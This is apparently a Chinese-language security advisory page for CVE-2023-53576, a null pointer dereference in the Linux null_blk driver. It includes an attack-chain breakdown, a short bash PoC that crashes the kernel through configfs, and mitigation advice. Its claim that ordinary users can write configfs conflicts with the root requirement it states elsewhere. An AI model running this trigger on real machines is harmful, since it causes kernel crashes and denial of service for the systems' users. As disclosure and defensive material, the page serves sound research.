IPBUF安全漏洞报告
English
CVE-2023-53576 CVSS 5.5 中危

CVE-2023-53576 Linux内核null_blk驱动队列模式验证缺失漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53576
漏洞类型
空指针解引用/内核崩溃
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel null_blk驱动模块

相关标签

Linux内核null_blk空指针解引用拒绝服务内核Oopsconfigfs本地提权块设备驱动CVE-2023-53576DoS

漏洞概述

CVE-2023-53576是Linux内核null_blk(null block)块设备驱动中的一个安全漏洞。该漏洞源于null_blk驱动在通过configfs接口配置设备时,未对队列模式(queue_mode)设置进行充分验证。当用户通过configfs将队列模式设置为1(即NULL_Q_RQ)时,由于驱动不支持传统的I/O路径(legacy I/O path),会导致空指针解引用,从而触发内核Oops(内核崩溃)。该漏洞的CVSS评分为5.5,属于中危级别。攻击者需要本地访问权限和低权限用户身份即可触发此漏洞,无需用户交互。漏洞的成功利用将导致系统可用性受损,可能引发内核panic,造成拒绝服务(DoS)攻击。该漏洞影响多个Linux内核稳定版本,官方已通过多个commit修复了此问题。

技术细节

该漏洞的技术原理在于null_blk驱动的配置验证逻辑存在缺陷。在null_validate_conf()函数中,驱动应当检查设备的队列模式设置,拒绝不支持的NULL_Q_RQ模式。然而在修复前的代码中,该验证逻辑缺失,导致当用户通过configfs接口将queue_mode设置为1时,驱动继续执行后续初始化流程。由于NULL_Q_RQ模式对应的legacy I/O路径相关的数据结构未被正确初始化(如tag_set等),在null_add_dev()函数执行过程中会尝试访问未初始化的指针,最终导致空指针解引用并触发内核Oops。

利用方式方面,攻击者只需具有本地用户权限和加载null_blk模块的能力(通常需要CAP_SYS_ADMIN或root权限加载模块,但configfs配置可由普通用户操作),通过以下步骤即可触发漏洞:
1. 加载null_blk模块(nr_devices=0);
2. 通过configfs创建nullb0设备;
3. 设置memory_backed、blocksize、size等参数;
4. 将queue_mode设置为1;
5. 将power设置为1激活设备,触发空指针解引用。

漏洞的调用链为:nullb_device_power_store -> null_add_dev.part.0,在null_add_dev函数内部访问未初始化的tag_set结构体成员时崩溃。

攻击链分析

STEP 1
1. 加载null_blk内核模块
攻击者以root权限或具有CAP_SYS_ADMIN权限加载null_blk模块,初始化nr_devices=0以手动配置设备
STEP 2
2. 通过configfs创建设备节点
在/sys/kernel/config/nullb/目录下创建nullb0设备节点,准备进行配置
STEP 3
3. 配置设备基本参数
设置memory_backed=1、blocksize=4096、size=20480等基本参数
STEP 4
4. 设置不支持的队列模式
将queue_mode设置为1(NULL_Q_RQ),该模式对应legacy I/O路径,但驱动不支持
STEP 5
5. 激活设备触发漏洞
将power设置为1激活设备,触发null_add_dev()函数执行,访问未初始化的tag_set结构体,导致空指针解引用和内核Oops
STEP 6
6. 系统拒绝服务
内核崩溃导致系统不可用,实现本地拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2023-53576 PoC - Trigger null_blk kernel Oops via configfs # Requires: root or CAP_SYS_ADMIN to load module # Step 1: Load null_blk module with 0 initial devices modprobe null_blk nr_devices=0 # Step 2: Create nullb0 device via configfs mkdir /sys/kernel/config/nullb/nullb0 # Step 3: Configure device parameters echo 1 > /sys/kernel/config/nullb/nullb0/memory_backed echo 4096 > /sys/kernel/config/nullb/nullb0/blocksize echo 20480 > /sys/kernel/config/nullb/nullb0/size # Step 4: Set queue_mode to 1 (NULL_Q_RQ - unsupported legacy mode) echo 1 > /sys/kernel/config/nullb/nullb0/queue_mode # Step 5: Power on the device - triggers kernel Oops echo 1 > /sys/kernel/config/nullb/nullb0/power # Expected result: Kernel Oops / panic due to NULL pointer dereference # RIP: null_add_dev.part.0+0xd9/0x720 [null_blk]

影响范围

Linux Kernel 6.3.0-rc5及之前的版本
Linux Kernel stable分支(具体受影响的稳定版本需参考各commit链接)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下方式临时缓解:1)限制对configfs中null_blk相关配置的访问权限,仅允许受信任的用户操作;2)如果系统不使用null_blk设备,可通过blacklist机制禁止加载null_blk模块;3)通过内核引导参数或sysctl限制非特权用户加载内核模块的能力;4)监控系统日志,设置对内核Oops事件的告警,及时发现和响应攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表